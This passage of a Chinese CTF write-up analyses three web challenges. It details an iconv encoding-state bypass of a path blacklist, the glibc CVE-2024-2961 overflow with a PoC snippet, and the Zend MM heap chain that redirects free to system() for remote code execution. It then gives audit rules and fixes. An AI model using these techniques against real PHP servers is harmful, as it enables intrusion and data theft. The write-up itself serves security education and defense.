同样的技术也可以用来绕过 flag 关键字——把 f (0x66) 吞入前一个双字节字符的低字节,转换后丢弃那个双字节字符,f 消失了。然后你在后面单独放一个 f... 但这更复杂,需要更精确的字节布局。
核心原理是一样的:TOCTOU + 编码状态机。黑名单看到的是编码混乱的字节流,iconv 看到的是经过状态机解析和清理后的干净路径。
CVE-2024-2961:glibc iconv 的缓冲区溢出
如果目标是 RCE 而不只是文件读取,就需要用到 CVE-2024-2961。这是 glibc iconv 库在处理 ISO-2022-CN-EXT 输出时的缓冲区溢出漏洞(注意方向:漏洞在 UTF-8 → ISO-2022-CN-EXT 转换中,也就是 ISO-2022-CN-EXT 作为目标编码时触发)。
漏洞根因:SS2/SS3 分支缺少边界检查
漏洞位于 glibc/iconvdata/iso-2022-cn-ext.c。这个文件实现了 ISO-2022-CN-EXT 编码的转换逻辑。在将 Unicode 字符转换为 ISO-2022-CN-EXT 输出时,有些字符需要先写一个 4 字节的 CSS(Character Set Shift)转义序列,然后才写实际的字符编码。
问题出在 SS2 和 SS3 分支——写转义序列时没有检查输出缓冲区的剩余空间:
// SS2 分支 — 需要切换到 CNS 11643 平面 2
else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8))
{
const char *escseq;
assert(used == CNS11643_2_set);
escseq = "*H";
*outptr++ = ESC; // 0x1b ← 直接写,不检查 outptr < outend
*outptr++ = '$'; // 0x24
*outptr++ = *escseq++; // 0x2a ('*')
*outptr++ = *escseq++; // 0x48 ('H')
// 上面 4 次写入都没有边界检查
ann = (ann & ~SS2_ann) | (used << 8);
}对比同文件中的 SO 分支(切换 G1),SO 分支在写入前有明确的 if (outptr + 4 > outend) 检查。SS2 和 SS3 分支漏掉了这个检查,是一个经典的"代码不一致"Bug。
这个 bug 可以产生六种 4 字节溢出输出,取决于目标字符集:
\x1b$*H (SS2 → CNS 11643 平面 2)
\x1b$+I (SS3 → CNS 11643 平面 3)
\x1b$+J (SS3 → CNS 11643 平面 4)
\x1b$+K (SS3 → CNS 11643 平面 5)
\x1b$+L (SS3 → CNS 11643 平面 6)
\x1b$+M (SS3 → CNS 11643 平面 7)溢出的最后一个字节(H/I/J/K/L/M,即 0x48/0x49/0x4a/0x4b/0x4c/0x4d)是不可控的——它取决于触发了哪个平面的字符集切换。这对利用是一个约束。
用 "劄" 字符触发溢出的字节级分析
Lexfo 团队的 PoC 用了中文字符 "劄",它在 UTF-8 下编码为 \xe5\x8a\x84(3 字节)。这个字符在 CNS 11643 平面 2 中有对应编码,因此 iconv 在将其转换为 ISO-2022-CN-EXT 时会触发 SS2 分支。
// PoC 核心
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
char input[0x10] = "AAAAA劄"; // 5 + 3 = 8 字节
char output[0x10] = {0};
char *pin = input, *pout = output;
size_t sin = strlen(input), sout = sin; // sout = 8
iconv(cd, &pin, &sin, &pout, &sout);转换过程逐字节分析:
输入: A(41) A(41) A(41) A(41) A(41) 劄(e5 8a 84)
^
输出缓冲区: [ ][ ][ ][ ][ ][ ][ ][ ] (8 字节)
outend ↑
Step 1-5: 写入 5 个 'A'(ASCII → ASCII,1:1 映射)
输出: [41][41][41][41][41][ ][ ][ ]
^ outptr ^ outend
剩余空间: 3 字节
Step 6: 处理 "劄"
→ 查表:劄 ∈ CNS 11643 平面 2 → 需要 SS2 切换
→ 进入 SS2 分支,写入转义序列:
*outptr++ = 0x1b (ESC) → 剩余 2 字节
*outptr++ = 0x24 ('$') → 剩余 1 字节
*outptr++ = 0x2a ('*') → 剩余 0 字节
*outptr++ = 0x48 ('H') → 溢出 1 字节!!
输出: [41][41][41][41][41][1b][24][2a] | [48] ← 溢出
^ outendsout 变成 -1(0xFFFFFFFFFFFFFFFF 作为 size_t 解释为 -1 作为 ssize_t),这是溢出的确凿证据。溢出的字节 0x48(即 H)写入了输出缓冲区之后的第一个字节。
实际影响取决于输出缓冲区后面是什么。如果是堆上的相邻内存块,0x48 会覆盖相邻块的第一个字节。
从 1 字节溢出到 PHP 任意代码执行
PHP 的 iconv() 函数底层调用 glibc 的 iconv。PHP 通过 Zend Memory Manager(Zend MM)在堆上分配 iconv 的输出缓冲区。溢出发生在 glibc 写这个缓冲区的过程中,溢出的字节破坏了 PHP 堆上的相邻内存。
Lexfo 团队(cfreal)公开了完整的利用工具 cnext-exploit,利用 php://filter 链在单次 file_get_contents 调用中完成整个攻击。下面拆解核心原理。
Zend MM 的 free_slot 机制
PHP 的 Zend MM 管理小内存块(≤ 3072 字节)时使用 free_slot 数组,类似 glibc 的 tcache。它按大小分 30 个档(bin),每个档维护一个单链表。free_slot 结构体只有一个 next 指针:
typedef struct _zend_mm_free_slot {
zend_mm_free_slot *next_free_slot;
} zend_mm_free_slot;和 glibc 的 tcache 不同,Zend MM 的 free_slot 没有任何完整性检查——不验证 next 指针是否指向合法堆地址,不检查 double free,不检查链表是否被篡改。这大大降低了利用难度。
0x100(256 字节)大小的分配对应 bin 15。利用时选择这个大小的原因是:0x100 足够大能容纳 payload,又足够小能精确控制堆布局。
php://filter 链实现堆操控
cnext-exploit 的核心创新是利用 php://filter 的过滤器链来实现堆的精确控制。php://filter 允许在读取数据时串联多个过滤器,每个过滤器的输出成为下一个过滤器的输入。
关键过滤器组合:
zlib.inflate:解压 zlib 数据。输入是压缩数据,输出分配在堆上(最大 0x8000)dechunk:解析 HTTP chunked 传输编码。关键能力:可以把一个大缓冲区的有效长度标记缩小到任意值,而不改变实际堆大小convert.iconv.latin1.latin1:latin1 到 latin1 转换(数据不变)。但 PHP 内部会根据有效长度重新分配一个新的堆块,旧堆块被释放进free_slot
通过 dechunk + convert.iconv.latin1.latin1 的组合,可以:
- 分配一个 0x8000 的堆块
- 用
dechunk把有效长度标记从 0x8000 改成 0x100 - 用
convert.iconv.latin1.latin1触发重新分配:分配一个 0x100 的新堆块,释放旧的 0x8000 堆块
这等于实现了"分配任意大小的堆块"和"释放指定堆块"的原语。
完整利用流程
- 堆风水:通过多轮
dechunk+iconv.latin1.latin1,在 free_slot[15](0x100 bin)中构造三个连续的空闲堆块 A → B → C - 触发溢出:用
convert.iconv.UTF-8.ISO-2022-CN-EXT替代latin1.latin1。构造输入使得输出恰好填满 0x100 字节,然后 "劄" 字符触发 SS2 分支,溢出 1 字节(0x48)写入堆块 B 的next_free_slot指针的最低字节 - free_slot 链劫持:溢出改变了 B 的
next指针。原本 B → C,现在 B → 某个偏移地址。通过精心安排堆布局,让这个偏移地址指向_zend_mm_heap结构体的free_slot数组 - 篡改
_zend_mm_heap:分配堆块直到拿到指向_zend_mm_heap的堆块。往里面写入精心构造的数据:
- 设置
use_custom_heap = 1 - 设置
custom_heap._malloc为 libc 的malloc地址(保持正常分配) - 设置
custom_heap._free为 libc 的system地址 - 设置
custom_heap._realloc为 libc 的realloc地址
- 触发 RCE:当 PHP 执行
efree(ptr)时(ptr 指向的内容是 shell 命令字符串),实际调用的是system(ptr)。通过convert.quoted-printable-decode过滤器构造包含命令字符串的堆块,释放时触发system("cat /flag")
在 MediaDrive 中的利用路径
攻击路径 1 — 文件读取(preview.php TOCTOU 绕过):
1. 构造 Cookie: encoding=ISO-2022-CN-EXT, basePath=/
2. 构造 f 参数,在关键字节处插入 ISO-2022-CN-EXT 状态切换序列
3. 黑名单检查 rawPath(转换前)→ 通过
4. iconv 转换 → //IGNORE 丢弃无效双字节字符 → 路径还原为 /flag
5. file_get_contents 读到 flag
攻击路径 2 — RCE(CVE-2024-2961 堆溢出):
1. 构造 Cookie: encoding=ISO-2022-CN-EXT
2. 如果存在任意文件读取(路径 1 提供了),用 php://filter 链触发 iconv 溢出
3. 通过堆风水篡改 _zend_mm_heap.custom_heap._free
4. 触发 system() 执行命令在实际 CTF 中,路径 1(文件读取)通常就够拿 flag 了。路径 2(RCE)在比赛中很少有人走完,因为 cnext-exploit 需要先泄露目标的 /proc/self/maps(内存布局)和 libc 版本,成本较高。但理解路径 2 对安全研究有重要价值——它展示了一个 C 库的内存安全 bug 如何穿透多层抽象到达 Web 应用层。
CVE-2024-2961 的影响范围
CVE-2024-2961 的影响远不限于 PHP。glibc 的 iconv 是 Linux 系统上几乎所有编码转换的底层实现:
- Python:
codecs.encode/decode底层可能调用 glibc iconv(取决于编译选项) - Ruby:
String#encode在某些编码组合下使用 iconv - Perl:
Encode模块 - C/C++ 应用:直接调用
iconv()API - 数据库:PostgreSQL、MySQL 在处理多编码字符集时可能间接使用 iconv
PHP 成为首要攻击目标,是因为 Web 场景下用户可控 iconv() 参数的概率最高(通过 Content-Type 头、查询参数、Cookie 等)。但任何接受用户指定编码并调用 iconv 的程序都潜在受影响。
修复需要在三个层次同时进行:
- 应用层:从白名单移除 ISO-2022-CN-EXT 等危险编码;把
iconv()当成和eval()一样的高危函数对待 - 系统层:升级 glibc 到包含修复的版本(GLIBC-SA-2024-0004)。但很多容器镜像基于固定版本的 Debian/Ubuntu,可能长期不更新基础镜像——这是容器化时代的典型供应链债务
- 语言层:PHP 8.4+ 开始讨论在
ext/iconv内部增加对已知危险编码的检测,但向后兼容性问题使进展缓慢
0x04 三题横向对比与审计方法论
对比表
IntraBadge | easy_time | MediaDrive | |
技术栈 | Flask + Redis + Jinja2 | Flask + Apache/PHP | 纯 PHP |
入口漏洞 | Cookie 身份伪造 + 无验证 URL 存储 | Cookie 伪造 + ZipSlip | Cookie 反序列化属性篡改 |
核心攻击面 | SSRF(redis://)+ SSTI | 路径穿越 + SSRF | iconv 编码绕过 / 堆溢出 |
RCE 路径 | Jinja2 沙箱逃逸 | PHP webshell | glibc 溢出 → PHP 堆利用 |
关联 CVE | CVE-2025-27516, CVE-2024-56326 | GHSA-w75w-9qv4-j5xj, CVE-2025-3445 | CVE-2024-2961 |
安全逻辑状态 | 没有防护 | 安全函数存在但未调用 | 黑名单被 TOCTOU 绕过 |
共性模式:安全逻辑的"最后一公里"问题
审完三题,最深的感受不是"这些漏洞多复杂",而是"这些防御离生效就差最后一步"。三道题的开发者显然都有安全意识——IntraBadge 用了 SandboxedEnvironment 而不是普通的 Environment;easy_time 写了完善的路径校验函数和 IP 过滤函数;MediaDrive 加了正则黑名单。但每一个防御都在实际数据流的某个环节上脱节了。
我把这叫做安全逻辑的"最后一公里"问题:从"写了安全代码"到"安全代码真正保护了业务"之间,还有一段很多人忽略的距离。这段距离包括:函数有没有被正确调用、调用顺序对不对、中间有没有其他转换层改变了数据语义。
具体来看:
IntraBadge:fetch_resource 支持 redis:// 协议(危险能力),avatar_set 存储 URL 时不检查 scheme(缝隙)。代码中定义了 ALLOWED_URL_SCHEMES = {'http', 'https'},但这个常量就放在那里没人用。
easy_time:safe_extract_zip 是完美的防御(安全能力),但 upload_plugin 调用的是 safe_upload(缝隙)。_host_is_public 能拦截 SSRF(安全能力),但 fetch_remote_avatar_info 不调用它(缝隙)。同一个文件里,安全函数和不安全函数并排存在。
MediaDrive:preg_match 黑名单在 iconv 转换之前执行(安全能力),但 file_get_contents 用的是转换之后的路径(缝隙)。检查和使用之间隔了一层编码转换,攻击者利用这层转换的字节吞吐特性实现绕过。
从比赛到实战:这些漏洞模式在野外长什么样
CTF 题毕竟是人为设计的,有人会觉得"现实项目不会犯这么明显的错误"。但实际上,这三道题的每一个漏洞模式都在真实项目中反复出现。
SSRF 打内网服务——2019 年 Capital One 数据泄露事件(影响 1 亿用户)的根因就是 EC2 元数据服务的 SSRF,攻击者通过 WAF 的 SSRF 拿到了 IAM 临时凭证。IntraBadge 的 redis:// SSRF 本质上和 Capital One 事件一样:一个对外服务能够访问内网资源,而且没有对目标地址做限制。
ZipSlip——Snyk 在 2018 年首次系统性地披露这个漏洞模式时,在 Java、JavaScript、Python、Go、Ruby 等生态中发现了超过 50 个受影响的库。时至今日,每年仍有新的库被发现存在这个问题。easy_time 的漏洞模式("安全解压函数存在但没被调用")比"没有安全解压函数"更危险——因为它给 Code Review 创造了一种虚假的安全感。
glibc iconv 溢出——CVE-2024-2961 公开后,安全研究员很快发现它可以影响 PHP、Python、Ruby 等多种语言的 Web 应用。Orange Tsai 在 2024 年的 BlackHat 演讲中展示了 php://filter 链的多种高级利用技术,CVE-2024-2961 为这些技术提供了新的原语。MediaDrive 的利用路径(反序列化 → 控制编码参数 → 触发 iconv 溢出)在野外的 PHP 应用中完全可能出现。
审计方法论清单
从这三道题中可以提炼出几条实用的审计规则:
1. 出站请求审计:协议白名单要贴在发起连接的那一层。 不要在业务逻辑层做字符串检查然后传给一个支持多协议的底层函数。fetch_resource 支持 redis://,但调用方没检查——这种模式在真实项目中很常见,特别是当底层函数支持的协议比业务需求多的时候。
2. 归档解压审计:全项目只允许一个解压实现。 如果你发现了一个安全的 safe_extract_zip,不能就此结束——必须确认调用链上走的是它,而不是另一个没有校验的函数。grep 调用点,不看函数定义。
3. 路径校验 API 审计:commonprefix 不是 commonpath。 在 Python 中,os.path.commonprefix 是字符串操作,os.path.commonpath 是路径语义操作。前者在做路径安全校验时是错的。
4. 编码转换审计:把 iconv 当成 eval 级别的危险函数。 特别是当 source encoding 可控时。ISO-2022 系列编码的状态机特性可以用来做逻辑绕过,CVE-2024-2961 更是直接内存破坏。在过滤/校验和实际使用之间不要插 iconv 转换。
5. 反序列化审计:外部输入永远不进 unserialize。 即使没有 POP 链,属性值篡改本身就是漏洞——特别是当属性被用于文件路径、编码参数等安全相关的场景。
6. 安全加固审计:不只看"有没有写",更要看"有没有接上"。 搜函数定义只能告诉你安全逻辑存不存在;搜调用点才能告诉你它有没有生效。最危险的情况是安全代码存在但不在热路径上——Code Review 的人会以为"有防护",而攻击者看到的是"没防护"。
0x05 修复建议
IntraBadge
fetch_resource删除redis://分支,只保留 http/https。或者如果业务确实需要访问 Redis,走独立的内部 API 而不是通过 URL scheme- 用户模板改成白名单占位符替换(
{{ name }}→ 字符串替换),避免用 Jinja2 做渲染。如果必须用 Jinja2,锁定版本 ≥ 3.1.6 并订阅安全公告。不要在模板上下文中传入函数对象 - 引入服务端 session(Flask-Session),Cookie 只存 session ID,不存用户名
autoescape=True配合|safe等于没设——要么不用|safe,要么用 CSP 做二次防护
easy_time
- 删掉
safe_upload,全项目只保留safe_extract_zip。同一份代码里不应该有两个功能重叠但安全等级不同的函数 - 在
fetch_remote_avatar_info中调用_host_is_public。函数写好了,接上就行 - Cookie 认证改成服务端 session + 密码校验
- CI 流水线加恶意 ZIP 测试用例(包含
../路径的 ZIP) - docker-compose 的
read_only: true保持启用,确保生产部署也带这个标志
MediaDrive
- 禁止对外部输入
unserialize。Cookie 中的用户偏好用json_encode/json_decode+ HMAC 签名存储 - 从编码白名单中移除
ISO-2022-CN-EXT。这个编码在现代业务中没有正当用途 - 黑名单检查放在
iconv转换之后而不是之前。或者更好的做法:不依赖黑名单,用白名单文件名 +realpath+ 前缀检查(download.php 的方式更好) - 升级基础镜像的 glibc 到修复 CVE-2024-2961 的版本,并建立基础镜像定期更新机制
0x06 总结与思考
写这篇文章的过程中,我反复体会到一件事:漏洞往往不在你一眼就能看到的地方,而在你觉得"已经处理了"的地方。
IntraBadge 的 fetch_resource 支持 redis:// 协议这件事本身不算罕见——很多内部工具都会为方便调试而支持额外的协议。真正的问题是调用方把它当成一个"只能拉 HTTP 图片"的函数来用,没有在入口处做协议过滤。如果 fetch_resource 只是一个内部 RPC 接口还好,但它被暴露给了用户可控的 URL 输入,这就变成了 SSRF。在真实业务中,这种"多协议支持的底层函数被上层无约束调用"的模式随处可见——数据库连接库支持多种后端、HTTP 客户端支持各种 scheme、文件操作函数支持多种协议封装(PHP 的 stream wrapper 就是典型)。
easy_time 的教训更直白。两个功能相同但安全等级不同的函数放在同一个文件里,调用了不安全的那个。这个错误的根因不是技术能力,而是工程管理——函数命名不够清晰(safe_upload 名字暗示它是安全的)、没有删掉被替代的旧函数、Code Review 时没有追踪调用链。在大型项目中,这种问题更容易出现:安全团队加固了某个函数,但业务团队在另一个分支上还在用旧版本,合并后两个函数共存。CI 流水线中加入"单一入口"检查(比如检查项目中解压相关的函数调用是否都指向同一个实现)可以有效预防。
MediaDrive 是三题中技术最有深度的。它展示了一个很有意思的攻击面演化过程:从 PHP unserialize 的属性篡改(应用层),到 iconv 编码状态机的逻辑绕过(协议层),再到 glibc 缓冲区溢出的内存破坏(系统层)。这三层攻击面分别对应不同的防御思路——应用层用白名单、协议层正确排序检查和转换的顺序、系统层升级底层库。但实际中这三层往往由不同的人/团队负责,每一层的人都假设其他层是安全的。 PHP 开发者不会去审计 glibc 源码,运维不会去看 PHP 的 iconv 调用参数是否可控。CVE-2024-2961 的影响之所以大,正是因为它打破了这种层间假设。
回看 2024-2025 年的安全公告,类似的跨层攻击在持续出现。Jinja2 连续两个沙箱 CVE 说明"模板沙箱是安全的"这个假设不可靠;glibc iconv 的溢出说明"编码转换是无害的"这个假设不可靠;ZipSlip 每年在新的库里重现说明"归档库会处理路径安全"这个假设不可靠。安全审计的价值不在于验证每个组件"声称"做了什么防护,而在于验证这些防护在实际数据流中是否真的生效、是否有绕过路径、是否覆盖了所有入口。
如果把这三道题的教训总结成一句话给同行:不要搜"有没有安全函数",要搜"安全函数有没有被调用,调用的位置对不对,调用之前有没有其他路径绕过它"。
剖析IntraBadge(Redis SSRF+Jinja2沙箱逃逸)、easy_time(ZipSlip+SSRF)、MediaDrive(反序列化+iconv编码绕过/CVE-2024-2961)三道典型Web题的漏洞成因与利用路径。
由 AI 根据全文自动生成,仅供参考,以原文为准